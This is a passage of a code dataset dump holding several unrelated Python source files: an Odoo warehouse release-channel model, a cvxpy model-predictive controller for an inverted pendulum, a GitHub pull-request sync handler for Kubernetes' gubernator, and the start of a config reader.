libraries\\n\"\n \"#\\n\"\n \"# By default, all pickings are kept.\\n\"\n \"# To filter a selection of pickings, assign: pickings = ...\\n\\n\\n\\n\\n\"\n )\n\n name = fields.Char(required=True)\n release_forbidden = fields.Boolean(string=\"Forbid to release this channel\")\n sequence = fields.Integer(default=lambda self: self._default_sequence())\n color = fields.Integer()\n warehouse_id = fields.Many2one(\n \"stock.warehouse\",\n string=\"Warehouse\",\n index=True,\n help=\"Warehouse for which this channel is relevant\",\n )\n picking_type_ids = fields.Many2many(\n \"stock.picking.type\",\n \"stock_release_channel_warehouse_rel\",\n \"channel_id\",\n \"picking_type_id\",\n string=\"Operation Types\",\n domain=\"warehouse_id\"\n \" and [('warehouse_id', '=', warehouse_id), ('code', '=', 'outgoing')]\"\n \" or [('code', '=', 'outgoing')]\",\n )\n rule_domain = fields.Char(\n string=\"Domain\",\n default=[],\n help=\"Domain based on Transfers, filter for entering the channel.\",\n )\n code = fields.Text(\n string=\"Python Code\",\n groups=\"base.group_system\",\n default=DEFAULT_PYTHON_CODE,\n help=\"Write Python code to filter out pickings.\",\n )\n active = fields.Boolean(default=True)\n release_mode = fields.Selection(\n [(\"batch\", \"Batch (Manual)\")], required=True, default=\"batch\"\n )\n batch_mode = fields.Selection(\n selection=[(\"max\", \"Max\")],\n default=\"max\",\n required=True,\n help=\"Max: release N transfers to have a configured max of X deliveries\"\n \" in progress.\",\n )\n max_batch_mode = fields.Integer(\n string=\"Max Transfers to release\",\n default=10,\n help=\"When clicking on the package icon, it releases X transfers minus \"\n \" on-going ones not shipped (X - Waiting).\"\n \" This field defines X.\",\n )\n\n picking_ids = fields.One2many(\n string=\"Transfers\",\n comodel_name=\"stock.picking\",\n inverse_name=\"release_channel_id\",\n )\n\n # beware not to store any value which can be changed by concurrent\n # stock.picking (e.g. the state cannot be stored)\n\n count_picking_all = fields.Integer(\n string=\"All Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_release_ready = fields.Integer(\n string=\"Release Ready Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_released = fields.Integer(\n string=\"Released Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_assigned = fields.Integer(\n string=\"Available Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_waiting = fields.Integer(\n string=\"Waiting Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_late = fields.Integer(\n string=\"Late Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_priority = fields.Integer(\n string=\"Priority Transfers\", compute=\"_compute_picking_count\"\n )\n count_picking_done = fields.Integer(\n string=\"Transfers Done Today\", compute=\"_compute_picking_count\"\n )\n count_picking_full_progress = fields.Integer(\n string=\"Full Progress\",\n compute=\"_compute_picking_count\",\n help=\"The total number of pickings to achieve 100% of progress.\",\n )\n\n picking_chain_ids = fields.Many2many(\n comodel_name=\"stock.picking\",\n compute=\"_compute_picking_chain\",\n help=\"All transfers required to bring goods to the deliveries.\",\n )\n count_picking_chain = fields.Integer(\n string=\"All Related Transfers\", compute=\"_compute_picking_chain\"\n )\n count_picking_chain_in_progress = fields.Integer(\n string=\"In progress Related Transfers\", compute=\"_compute_picking_chain\"\n )\n count_picking_chain_done = fields.Integer(\n string=\"All Done Related Transfers\", compute=\"_compute_picking_chain\"\n )\n\n count_move_all = fields.Integer(\n string=\"All Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_release_ready = fields.Integer(\n string=\"Release Ready Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_released = fields.Integer(\n string=\"Released Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_assigned = fields.Integer(\n string=\"Available Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_waiting = fields.Integer(\n string=\"Waiting Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_late = fields.Integer(\n string=\"Late Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_priority = fields.Integer(\n string=\"Priority Moves (Estimate)\", compute=\"_compute_picking_count\"\n )\n count_move_done = fields.Integer(\n string=\"Moves Done Today (Estimate)\", compute=\"_compute_picking_count\"\n )\n\n last_done_picking_id = fields.Many2one(\n string=\"Last Done Transfer\",\n comodel_name=\"stock.picking\",\n compute=\"_compute_last_done_picking\",\n )\n last_done_picking_name = fields.Char(compute=\"_compute_last_done_picking\")\n last_done_picking_date_done = fields.Datetime(compute=\"_compute_last_done_picking\")\n state = fields.Selection(\n selection=[(\"open\", \"Open\"), (\"locked\", \"Locked\"), (\"asleep\", \"Asleep\")],\n help=\"The state allows you to control the availability of the release channel.\\n\"\n \"* Open: Manual and automatic picking assignment to the release is effective \"\n \"and release operations are allowed.\\n \"\n \"* Locked: Release operations are forbidden. (Assignement processes are \"\n \"still working)\\n\"\n \"* Asleep: Assigned pickings not processed are unassigned from the release \"\n \"channel.\\n\",\n default=\"open\",\n )\n is_action_lock_allowed = fields.Boolean(\n compute=\"_compute_is_action_lock_allowed\",\n help=\"Technical field to check if the \" \"action 'Lock' is allowed.\",\n )\n is_action_unlock_allowed = fields.Boolean(\n compute=\"_compute_is_action_unlock_allowed\",\n help=\"Technical field to check if the \" \"action 'Unlock' is allowed.\",\n )\n is_action_sleep_allowed = fields.Boolean(\n compute=\"_compute_is_action_sleep_allowed\",\n help=\"Technical field to check if the \" \"action 'Sleep' is allowed.\",\n )\n is_action_wake_up_allowed = fields.Boolean(\n compute=\"_compute_is_action_wake_up_allowed\",\n help=\"Technical field to check if the \" \"action 'Wake Up' is allowed.\",\n )\n is_release_allowed = fields.Boolean(\n compute=\"_compute_is_release_allowed\",\n search=\"_search_is_release_allowed\",\n help=\"Technical field to check if the \"\n \"action 'Release Next Batch' is allowed.\",\n )\n partner_ids = fields.Many2many(\n comodel_name=\"res.partner\",\n relation=\"res_partner_stock_release_channel_rel\",\n column1=\"channel_id\",\n column2=\"partner_id\",\n string=\"Partners\",\n )\n\n @api.depends(\"state\")\n def _compute_is_action_lock_allowed(self):\n for rec in self:\n rec.is_action_lock_allowed = rec.state == \"open\"\n\n @api.depends(\"state\")\n def _compute_is_action_unlock_allowed(self):\n for rec in self:\n rec.is_action_unlock_allowed = rec.state == \"locked\"\n\n @api.depends(\"state\")\n def _compute_is_action_sleep_allowed(self):\n for rec in self:\n rec.is_action_sleep_allowed = rec.state in (\"open\", \"locked\")\n\n @api.depends(\"state\")\n def _compute_is_action_wake_up_allowed(self):\n for rec in self:\n rec.is_action_wake_up_allowed = rec.state == \"asleep\"\n\n @api.depends(\"state\", \"release_forbidden\")\n def _compute_is_release_allowed(self):\n for rec in self:\n rec.is_release_allowed = rec.state == \"open\" and not rec.release_forbidden\n\n @api.model\n def _get_is_release_allowed_domain(self):\n return [(\"state\", \"=\", \"open\"), (\"release_forbidden\", \"=\", False)]\n\n @api.model\n def _get_is_release_not_allowed_domain(self):\n return [\"|\", (\"state\", \"!=\", \"open\"), (\"release_forbidden\", \"=\", True)]\n\n @api.model\n def _search_is_release_allowed(self, operator, value):\n if \"in\" in operator:\n raise ValueError(f\"Invalid operator {operator}\")\n negative_op = operator in NEGATIVE_TERM_OPERATORS\n is_release_allowed = (value and not negative_op) or (not value and negative_op)\n domain = self._get_is_release_allowed_domain()\n if not is_release_allowed:\n domain = self._get_is_release_not_allowed_domain()\n return domain\n\n def _get_picking_to_unassign_domain(self):\n return [\n (\"release_channel_id\", \"in\", self.ids),\n (\"state\", \"not in\", (\"done\", \"cancel\")),\n ]\n\n @api.model\n def _get_picking_to_assign_domain(self):\n return [\n (\"release_channel_id\", \"=\", False),\n (\"state\", \"not in\", (\"done\", \"cancel\")),\n (\"picking_type_id.code\", \"=\", \"outgoing\"),\n (\"need_release\", \"=\", True),\n ]\n\n def _field_picking_domains(self):\n return {\n \"count_picking_all\": [],\n \"count_picking_release_ready\": [\n (\"release_ready\", \"=\", True),\n # FIXME not TZ friendly\n (\n \"scheduled_date\",\n \"<\",\n fields.Datetime.now().replace(hour=23, minute=59),\n ),\n ],\n \"count_picking_released\": [\n (\"last_release_date\", \"!=\", False),\n (\"state\", \"in\", (\"assigned\", \"waiting\", \"confirmed\")),\n ],\n \"count_picking_assigned\": [\n (\"last_release_date\", \"!=\", False),\n (\"state\", \"=\", \"assigned\"),\n ],\n \"count_picking_waiting\": [\n (\"last_release_date\", \"!=\", False),\n (\"state\", \"in\", (\"waiting\", \"confirmed\")),\n ],\n \"count_picking_late\": [\n (\"last_release_date\", \"!=\", False),\n (\"scheduled_date\", \"<\", fields.Datetime.now()),\n (\"state\", \"in\", (\"assigned\", \"waiting\", \"confirmed\")),\n ],\n \"count_picking_priority\": [\n (\"last_release_date\", \"!=\", False),\n (\"priority\", \"=\", \"1\"),\n (\"state\", \"in\", (\"assigned\", \"waiting\", \"confirmed\")),\n ],\n \"count_picking_done\": [\n (\"state\", \"=\", \"done\"),\n (\"date_done\", \">\", fields.Datetime.now().replace(hour=0, minute=0)),\n ],\n }\n\n # TODO maybe we have to do raw SQL to include the picking + moves counts in\n # a single query\n def _compute_picking_count(self):\n domains = self._field_picking_domains()\n picking_ids_per_field = {}\n for field, domain in domains.items():\n data = self.env[\"stock.picking\"].read_group(\n domain + [(\"release_channel_id\", \"in\", self.ids)],\n [\"release_channel_id\", \"picking_ids:array_agg(id)\"],\n [\"release_channel_id\"],\n )\n count = {\n row[\"release_channel_id\"][0]: row[\"release_channel_id_count\"]\n for row in data\n if row[\"release_channel_id\"]\n }\n picking_ids_per_field.update(\n {\n (row[\"release_channel_id\"][0], field): row[\"picking_ids\"]\n for row in data\n if row[\"release_channel_id\"]\n }\n )\n\n for record in self:\n record[field] = count.get(record.id, 0)\n\n all_picking_ids = [\n pid for picking_ids in picking_ids_per_field.values() for pid in picking_ids\n ]\n data = self.env[\"stock.move\"].read_group(\n # TODO for now we do estimates, later we may improve the domains per\n # field, but now we can run one sql query on stock.move for all fields\n [(\"picking_id\", \"in\", all_picking_ids), (\"state\", \"!=\", \"cancel\")],\n [\"picking_id\"],\n [\"picking_id\"],\n )\n move_count = {\n row[\"picking_id\"][0]: row[\"picking_id_count\"]\n for row in data\n if row[\"picking_id\"]\n }\n for field, __ in domains.items():\n move_field = field.replace(\"picking\", \"move\")\n for record in self:\n picking_ids = picking_ids_per_field.get((record.id, field), [])\n move_estimate = sum(\n move_count.get(picking_id, 0) for picking_id in picking_ids\n )\n record[move_field] = move_estimate\n\n for record in self:\n record.count_picking_full_progress = (\n record.count_picking_release_ready\n + record.count_picking_released\n + record.count_picking_done\n )\n\n def _query_get_chain(self, pickings):\n \"\"\"Get all stock.picking before an outgoing one\n\n Follow recursively the move_orig_ids.\n Outgoing picking ids are excluded\n \"\"\"\n query = \"\"\"\n WITH RECURSIVE\n pickings AS (\n SELECT move.picking_id,\n true as outgoing,\n ''::varchar as state, -- no need it, we exclude outgoing\n move.id as move_orig_id\n FROM stock_move move\n WHERE move.picking_id in %s\n\n UNION\n\n SELECT move.picking_id,\n false as outgoing,\n picking.state,\n rel.move_orig_id\n FROM stock_move_move_rel rel\n INNER JOIN pickings\n ON pickings.move_orig_id = rel.move_dest_id\n INNER JOIN stock_move move\n ON move.id = rel.move_orig_id\n INNER JOIN stock_picking picking\n ON picking.id = move.picking_id\n )\n SELECT DISTINCT picking_id, state FROM pickings\n WHERE outgoing is false;\n \"\"\"\n return (query, (tuple(pickings.ids),))\n\n def _compute_picking_chain(self):\n self.env[\"stock.move\"].flush_model(\n [\"move_dest_ids\", \"move_orig_ids\", \"picking_id\"]\n )\n self.env[\"stock.picking\"].flush_model([\"state\"])\n for channel in self:\n domain = self._field_picking_domains()[\"count_picking_released\"]\n domain += [(\"release_channel_id\", \"=\", channel.id)]\n released = self.env[\"stock.picking\"].search(domain)\n\n if not released:\n channel.picking_chain_ids = False\n channel.count_picking_chain = 0\n channel.count_picking_chain_in_progress = 0\n channel.count_picking_chain_done = 0\n continue\n\n self.env.cr.execute(*self._query_get_chain(released))\n rows = self.env.cr.dictfetchall()\n channel.picking_chain_ids = [row[\"picking_id\"] for row in rows]\n channel.count_picking_chain_in_progress = sum(\n [1 for row in rows if row[\"state\"] not in (\"cancel\", \"done\")]\n )\n channel.count_picking_chain_done = sum(\n [1 for row in rows if row[\"state\"] == \"done\"]\n )\n channel.count_picking_chain = (\n channel.count_picking_chain_done\n + channel.count_picking_chain_in_progress\n )\n\n def _compute_last_done_picking(self):\n for channel in self:\n # TODO we have one query per channel, could be better\n domain = self._field_picking_domains()[\"count_picking_done\"]\n domain += [(\"release_channel_id\", \"=\", channel.id)]\n picking = self.env[\"stock.picking\"].search(\n domain, limit=1, order=\"date_done DESC\"\n )\n channel.last_done_picking_id = picking\n channel.last_done_picking_name = picking.name\n channel.last_done_picking_date_done = picking.date_done\n\n def _default_sequence(self):\n default_channel = self.env.ref(\n \"stock_release_channel.stock_release_channel_default\",\n raise_if_not_found=False,\n )\n domain = []\n if default_channel:\n domain = [(\"id\", \"!=\", default_channel.id)]\n maxrule = self.search(domain, order=\"sequence desc\", limit=1)\n if maxrule:\n return maxrule.sequence + 10\n else:\n return 0\n\n @api.constrains(\"code\")\n def _check_python_code(self):\n for action in self.sudo().filtered(\"code\"):\n msg = test_python_expr(expr=action.code.strip(), mode=\"exec\")\n if msg:\n raise exceptions.ValidationError(msg)\n\n def _prepare_domain(self):\n if not self.rule_domain:\n return []\n domain = safe_eval(self.rule_domain) or []\n return domain\n\n @api.model\n def assign_release_channel(self, picking):\n picking.ensure_one()\n if picking.picking_type_id.code != \"outgoing\" or picking.state in (\n \"cancel\",\n \"done\",\n ):\n return\n message = \"\"\n for channel in picking._find_release_channel_possible_candidate():\n current = picking\n domain = channel._prepare_domain()\n if not domain and not channel.code:\n current.release_channel_id = channel\n if domain:\n current = picking.filtered_domain(domain)\n if not current:\n continue\n if channel.code:\n current = channel._eval_code(current)\n if not current:\n continue\n current = channel._assign_release_channel_additional_filter(current)\n if not current:\n continue\n current.release_channel_id = channel\n break\n\n if not picking.release_channel_id:\n message = (\n f\"Transfer {picking.name} could not be assigned to a \"\n \"channel, you should add a final catch-all rule\"\n )\n # by this point, the picking should have been assigned\n _logger.warning(message)\n return message\n\n def _assign_release_channel_additional_filter(self, pickings):\n self.ensure_one()\n return pickings\n\n def _eval_context(self, pickings):\n \"\"\"Prepare the context used when for the python rule evaluation\n\n :returns: dict -- evaluation context given to (safe_)eval\n \"\"\"\n eval_context = {\n \"uid\": self.env.uid,\n \"user\": self.env.user,\n \"time\": safe_time,\n \"datetime\": safe_datetime,\n \"dateutil\": safe_dateutil,\n \"timezone\": timezone,\n # orm\n \"env\": self.env,\n # record\n \"self\": self,\n \"pickings\": pickings,\n }\n return eval_context\n\n def _eval_code(self, pickings):\n expr = self.code.strip()\n eval_context = self._eval_context(pickings)\n try:\n safe_eval(expr, eval_context, mode=\"exec\", nocopy=True)\n except Exception as err:\n raise exceptions.UserError(\n _(\n \"Error when evaluating the channel's code:\\n %(name)s \\n(%(error)s)\",\n name=self.name,\n error=err,\n )\n ) from err\n # normally \"pickings\" is always set as we set it in the eval context,\n # but let assume the worst case with someone using \"del pickings\"\n return eval_context.get(\"pickings\", self.env[\"stock.picking\"].browse())\n\n def action_picking_all(self):\n return self._action_picking_for_field(\n \"count_picking_all\", context={\"search_default_release_ready\": 1}\n )\n\n def action_picking_release_ready(self):\n return self._action_picking_for_field(\"count_picking_release_ready\")\n\n def action_picking_released(self):\n return self._action_picking_for_field(\"count_picking_released\")\n\n def action_picking_assigned(self):\n return self._action_picking_for_field(\"count_picking_assigned\")\n\n def action_picking_waiting(self):\n return self._action_picking_for_field(\"count_picking_waiting\")\n\n def action_picking_late(self):\n return self._action_picking_for_field(\"count_picking_late\")\n\n def action_picking_priority(self):\n return self._action_picking_for_field(\"count_picking_priority\")\n\n def action_picking_done(self):\n return self._action_picking_for_field(\"count_picking_done\")\n\n def _action_picking_for_field(self, field_domain, context=None):\n domain = self._field_picking_domains()[field_domain]\n domain += [(\"release_channel_id\", \"in\", self.ids)]\n pickings = self.env[\"stock.picking\"].search(domain)\n field_descr = self._fields[field_domain]._description_string(self.env)\n return self._build_action(\n \"stock_available_to_promise_release.stock_picking_release_action\",\n pickings,\n field_descr,\n context=context,\n )\n\n def action_move_all(self):\n return self._action_move_for_field(\n \"count_picking_all\", context={\"search_default_release_ready\": 1}\n )\n\n def action_move_release_ready(self):\n return self._action_move_for_field(\"count_picking_release_ready\")\n\n def action_move_released(self):\n return self._action_move_for_field(\"count_picking_released\")\n\n def action_move_assigned(self):\n return self._action_move_for_field(\"count_picking_assigned\")\n\n def action_move_waiting(self):\n return self._action_move_for_field(\"count_picking_waiting\")\n\n def action_move_late(self):\n return self._action_move_for_field(\"count_picking_late\")\n\n def action_move_priority(self):\n return self._action_move_for_field(\"count_picking_priority\")\n\n def action_move_done(self):\n return self._action_move_for_field(\"count_picking_done\")\n\n def _action_move_for_field(self, field_domain, context=None):\n domain = self._field_picking_domains()[field_domain]\n domain += [(\"release_channel_id\", \"in\", self.ids)]\n pickings = self.env[\"stock.picking\"].search(domain)\n field_descr = self._fields[field_domain]._description_string(self.env)\n xmlid = \"stock_available_to_promise_release.stock_move_release_action\"\n action = self.env[\"ir.actions.act_window\"]._for_xml_id(xmlid)\n action[\"display_name\"] = \"{} ({})\".format(\n \", \".join(self.mapped(\"display_name\")), field_descr\n )\n action[\"context\"] = context if context else {}\n action[\"domain\"] = [(\"picking_id\", \"in\", pickings.ids)]\n return action\n\n def _build_action(self, xmlid, records, description, context=None):\n action = self.env[\"ir.actions.act_window\"]._for_xml_id(xmlid)\n action[\"display_name\"] = \"{} ({})\".format(\n \", \".join(self.mapped(\"display_name\")), description\n )\n # we already have this column in the view's title, save space on the\n # screen\n base_context = {\"hide_release_channel_id\": True}\n if context:\n base_context.update(context)\n action[\"context\"] = base_context\n action[\"domain\"] = [(\"id\", \"in\", records.ids)]\n return action\n\n def action_picking_all_related(self):\n \"\"\"Open all chained transfers for released deliveries\"\"\"\n return self._build_action(\n \"stock.action_picking_tree_all\",\n self.picking_chain_ids,\n _(\"All Related Transfers\"),\n context={\"search_default_available\": 1, \"search_default_picking_type\": 1},\n )\n\n def get_action_picking_form(self):\n self.ensure_one()\n action = self.env[\"ir.actions.act_window\"]._for_xml_id(\n \"stock.action_picking_form\"\n )\n action[\"context\"] = {}\n if not self.last_done_picking_id:\n raise exceptions.UserError(\n _(\"Channel %(name)s has no validated transfer yet.\", name=self.name)\n )\n action[\"res_id\"] = self.last_done_picking_id.id\n return action\n\n @staticmethod\n def _pickings_sort_key(picking):\n return (-int(picking.priority or 1), picking.date_priority, picking.id)\n\n def _get_next_pickings(self):\n return getattr(self, \"_get_next_pickings_{}\".format(self.batch_mode))()\n\n def _get_pickings_to_release(self):\n \"\"\"Get the pickings to release.\"\"\"\n domain = self._field_picking_domains()[\"count_picking_release_ready\"]\n domain += [(\"release_channel_id\", \"in\", self.ids)]\n return self.env[\"stock.picking\"].search(domain)\n\n def _get_next_pickings_max(self):\n if not self.max_batch_mode:\n raise exceptions.UserError(_(\"No Max transfers to release is configured.\"))\n\n waiting_domain = self._field_picking_domains()[\"count_picking_waiting\"]\n waiting_domain += [(\"release_channel_id\", \"=\", self.id)]\n released_in_progress = self.env[\"stock.picking\"].search_count(waiting_domain)\n\n release_limit = max(self.max_batch_mode - released_in_progress, 0)\n if not release_limit:\n raise exceptions.UserError(\n _(\n \"The number of released transfers in\"\n \" progress is already at the maximum.\"\n )\n )\n next_pickings = self._get_pickings_to_release()\n # We have to use a python sort and not a order + limit on the search\n # because \"date_priority\" is computed and not stored. If needed, we\n # should evaluate making it a stored field in the module\n # \"stock_available_to_promise_release\".\n return next_pickings.sorted(self._pickings_sort_key)[:release_limit]\n\n def _check_is_release_allowed(self):\n for rec in self:\n if not rec.is_release_allowed:\n raise exceptions.UserError(\n _(\n \"The release of pickings is not allowed for channel %(name)s.\",\n name=rec.name,\n )\n )\n\n def release_next_batch(self):\n self._check_is_release_allowed()\n self.ensure_one()\n next_pickings = self._get_next_pickings()\n if not next_pickings:\n return {\n \"effect\": {\n \"fadeout\": \"fast\",\n \"message\": _(\"Nothing in the queue!\"),\n \"img_url\": \"/web/static/src/img/smile.svg\",\n \"type\": \"rainbow_man\",\n }\n }\n next_pickings.release_available_to_promise()\n\n def _check_is_action_lock_allowed(self):\n for rec in self:\n if not rec.is_action_lock_allowed:\n raise exceptions.UserError(\n _(\n \"Action 'Lock' is not allowed for channel %(name)s.\",\n name=rec.name,\n )\n )\n\n def _check_is_action_unlock_allowed(self):\n for rec in self:\n if not rec.is_action_unlock_allowed:\n raise exceptions.UserError(\n _(\n \"Action 'Unlock' is not allowed for channel %(name)s.\",\n name=rec.name,\n )\n )\n\n def _check_is_action_sleep_allowed(self):\n for rec in self:\n if not rec.is_action_sleep_allowed:\n raise exceptions.UserError(\n _(\n \"Action 'Sleep' is not allowed for channel %(name)s.\",\n name=rec.name,\n )\n )\n\n def _check_is_action_wake_up_allowed(self):\n for rec in self:\n if not rec.is_action_wake_up_allowed:\n raise exceptions.UserError(\n _(\n \"Action 'Wake Up' is not allowed for channel %(name)s.\",\n name=rec.name,\n )\n )\n\n def action_lock(self):\n self._check_is_action_lock_allowed()\n self.write({\"state\": \"locked\"})\n\n def action_unlock(self):\n self._check_is_action_unlock_allowed()\n self.write({\"state\": \"open\"})\n\n def action_sleep(self):\n self._check_is_action_sleep_allowed()\n pickings_to_unassign = self.env[\"stock.picking\"].search(\n self._get_picking_to_unassign_domain()\n )\n pickings_to_unassign.write({\"release_channel_id\": False})\n pickings_to_unassign.unrelease()\n self.write({\"state\": \"asleep\"})\n\n def action_wake_up(self):\n self._check_is_action_wake_up_allowed()\n self.write({\"state\": \"open\"})\n self.assign_pickings()\n\n @api.model\n def assign_pickings(self):\n pickings = self.env[\"stock.picking\"].search(\n self._get_picking_to_assign_domain()\n )\n for pick in pickings:\n pick._delay_assign_release_channel()\n","repo_name":"OCA/wms","sub_path":"stock_release_channel/models/stock_release_channel.py","file_name":"stock_release_channel.py","file_ext":"py","file_size_in_byte":29907,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"31"} +{"seq_id":"4065018302","text":"import cvxpy\nimport numpy as np\n\n\nclass Control:\n \n def __init__(self, model):\n \n # Bind model\n self.model = model\n \n # Desired x_pos\n self.xd = 0.0\n \n # Control parameters\n self.N = 100\n \n # Control limits\n self.umax = np.reshape(np.repeat(10, self.N), (self.N, 1))\n self.xmax = np.reshape(np.repeat(1, 4 * self.N), (4 * self.N, 1))\n\n # Control parameters\n if self.model.name == 'Pendulum':\n self.Q = np.mat([[100, 0, 0, 0], [0, 10, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]])\n self.R = np.mat(np.identity(1))\n self.P = np.mat([[1000, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 0.0], [0.0, 0.0, 0.0, 1.0]])\n else:\n self.Q = np.mat([[1.0, 0.0], [0.0, 1.0]])\n self.R = np.mat(np.identity(1))\n self.P = np.mat([[1.0, 0.0], [0.0, 1.0]])\n\n # Get dynamics\n A = np.mat(self.model.A_disc)\n B = np.mat(self.model.B_disc)\n\n # Alternative to calculating Abar, Bbar, Cbar, and Ahat\n Abar = np.vstack((np.zeros((len(A), self.N*len(A))), np.hstack((np.kron(np.eye(self.N-1), A),\n np.zeros((len(A)*(self.N-1), len(A)))))))\n Bbar = np.kron(np.eye(self.N), B)\n self.Ahat = (np.identity(np.shape(Abar)[0]) - Abar).I * np.kron(np.identity(self.N), A)[:, 0:len(A)]\n self.Cbar = (np.identity(np.shape(Abar)[0]) - Abar).I * Bbar\n\n # Calculate penalty matrices\n tm1 = np.eye(self.N)\n tm1[self.N - 1, self.N - 1] = 0\n tm2 = np.zeros((self.N, self.N))\n tm2[self.N - 1, self.N - 1] = 1\n self.Qbar = np.kron(tm1, self.Q) + np.kron(tm2, self.P)\n self.Rbar = np.kron(np.eye(self.N), self.R)\n \n def set_desired_position(self, x):\n self.xd = x\n \n def control(self, state):\n\n # Initial state\n x0 = np.reshape(np.mat(state), (len(state), 1))\n\n # Set optimization variables\n u = cvxpy.Variable((self.N, 1))\n x = cvxpy.Variable((self.N * len(state), 1))\n \n # Ccompute cost\n cost = 0.5 * cvxpy.quad_form(x, self.Qbar)\n cost += 0.5 * cvxpy.quad_form(u, self.Rbar)\n \n # Create state constraints\n constr = [x == self.Cbar @ u + self.Ahat @ x0]\n \n # Create control constraints\n constr += [np.vstack((np.identity(self.N), -np.identity(self.N))) @ u <= np.vstack((self.umax, self.umax))]\n\n # Create problem\n prob = cvxpy.Problem(cvxpy.Minimize(cost), constr)\n \n # Solve problem\n prob.solve(verbose=False)\n \n # Get optimal result\n if prob.status == cvxpy.OPTIMAL:\n ou = np.array(u.value[0, :]).flatten()\n else:\n ou = [0.0]\n \n # Get only first control signal\n u = ou[0]\n \n return u\n","repo_name":"MatthiasDR96/inverted_pendulum_simulator","sub_path":"src/controllers/MPCController.py","file_name":"MPCController.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70875084567","text":"import json\nimport logging\nimport re\n\nimport webapp2\n\nfrom google.appengine.api import urlfetch\nfrom google.appengine.ext import deferred\n\nimport handlers\nimport models\nimport secrets\n\nPULL_API = 'https://api.github.com/repos/%s/pulls?state=open&per_page=100'\n\n\ndef get_prs_from_github(token, repo):\n headers = {'Authorization': 'token %s' % token}\n url = PULL_API % repo\n prs = []\n while True:\n logging.info('fetching %s', url)\n response = urlfetch.fetch(url, headers=headers)\n if response.status_code == 404:\n logging.warning('repo was deleted?')\n # Returning no open PRs will make us fake a close event for each of\n # them, which is appropriate.\n return []\n if response.status_code != 200:\n raise urlfetch.Error('status code %s' % response.status_code)\n prs += json.loads(response.content)\n m = re.search(r'<([^>]+)>; rel=\"next\"', response.headers.get('Link', ''))\n if m:\n url = m.group(1)\n else:\n break\n logging.info('pr count: %d, github tokens left: %s',\n len(prs), response.headers.get('x-ratelimit-remaining'))\n return prs\n\n\ndef inject_event_and_reclassify(repo, number, action, body):\n # this follows similar code as handlers.GithubHandler\n parent = models.GithubResource.make_key(repo, number)\n hook = models.GithubWebhookRaw(\n parent=parent, repo=repo, number=number, event='pull_request',\n body=json.dumps({'action': action, 'pull_request': body}, sort_keys=True))\n hook.put()\n deferred.defer(handlers.update_issue_digest, repo, number)\n\n\ndef sync_repo(token, repo, write_html=None):\n if write_html is None:\n write_html = lambda x: None\n\n logging.info('syncing repo %s', repo)\n write_html('

    %s

    ' % repo)\n\n # There is a race condition here:\n # We can't atomically get a list of PRs from the database and GitHub,\n # so a PR might falsely be in stale_open_prs if it is opened after\n # we scan GitHub, or falsely be in missing_prs if a PR is made after we\n # got the list from GitHub, and before we get the list from the database.\n #\n # These cases will both be fixed the next time this code runs, so we don't\n # try to prevent it here.\n prs_gh = get_prs_from_github(token, repo)\n prs_gh_by_number = {pr['number']: pr for pr in prs_gh}\n\n prs_db = list(models.GHIssueDigest.find_open_prs_for_repo(repo))\n prs_db_by_number = {pr.number: pr for pr in prs_db}\n\n numbers_datastore = set(prs_db_by_number)\n numbers_github = set(prs_gh_by_number)\n\n stale_open_prs = sorted(numbers_datastore - numbers_github)\n missing_prs = sorted(numbers_github - numbers_datastore)\n\n if not stale_open_prs and not missing_prs:\n write_html('matched, no further work needed')\n logging.info('matched, no further work needed')\n return\n\n logging.info('PRs to close: %s', stale_open_prs)\n logging.info('PRs to open: %s', missing_prs)\n\n write_html('
    ')\n write_html('PRs that should be closed: %s
    ' % stale_open_prs)\n\n for number in stale_open_prs:\n pr = prs_db_by_number[number]\n write_html('%d
    %s
    ' % (number, pr))\n inject_event_and_reclassify(repo, number, 'gh-sync-close',\n {'state': 'closed',\n # These other 3 keys are injected because the classifier expects them.\n # This simplifies the testing code, and means we don't have to inject\n # fake webhooks.\n 'user': {'login': pr.payload['author']},\n 'assignees': [{'login': u} for u in pr.payload['assignees']],\n 'title': pr.payload['title']})\n\n write_html('PRs that should be opened: %s
    ' % missing_prs)\n\n for number in missing_prs:\n pr = models.shrink(prs_gh_by_number[number])\n write_html('
    %d
    %s

    ' %\n (number, json.dumps(pr, indent=4, sort_keys=True)))\n inject_event_and_reclassify(repo, number, 'gh-sync-open', pr)\n\n\nclass PRSync(webapp2.RequestHandler):\n def get(self):\n # This is called automatically by the periodic cron scheduler.\n # For debugging, visit something like /sync?repo=kubernetes/test-infra\n token = secrets.get('github_token', per_host=False)\n if not token:\n logging.warning('no github token, skipping sync')\n self.abort(200)\n\n # first, determine which repositories we need to sync\n open_prs = list(\n models.GHIssueDigest.find_open_prs().fetch(keys_only=True))\n open_repos = sorted({models.GHIssueDigest(key=pr).repo for pr in open_prs})\n\n self.response.write('open repos:')\n self.response.write(', '.join(open_repos))\n\n repo = self.request.get('repo')\n if repo:\n # debugging case\n sync_repo(token, repo, self.response.write)\n else:\n for repo in open_repos:\n deferred.defer(sync_repo, token, repo)\n\n\napp = webapp2.WSGIApplication([\n (r'/sync', PRSync),\n], debug=True)\n","repo_name":"kubernetes/test-infra","sub_path":"gubernator/github/periodic_sync.py","file_name":"periodic_sync.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","stars":3709,"dataset":"github-code","pt":"31"} +{"seq_id":"11924504278","text":"import configparser\nimport logging\nfrom typing import Tuple\n\nSETTINGS_PATH = './properties/settings.ini'\nDB_CONFIGS = ['user', 'password', 'host', 'port', 'database']\nlogger = logging.getLogger('studentsLog')\n\n\ndef get_config():\n \"\"\" Receive config object\n\n :return: config object\n \"\"\"\n config = 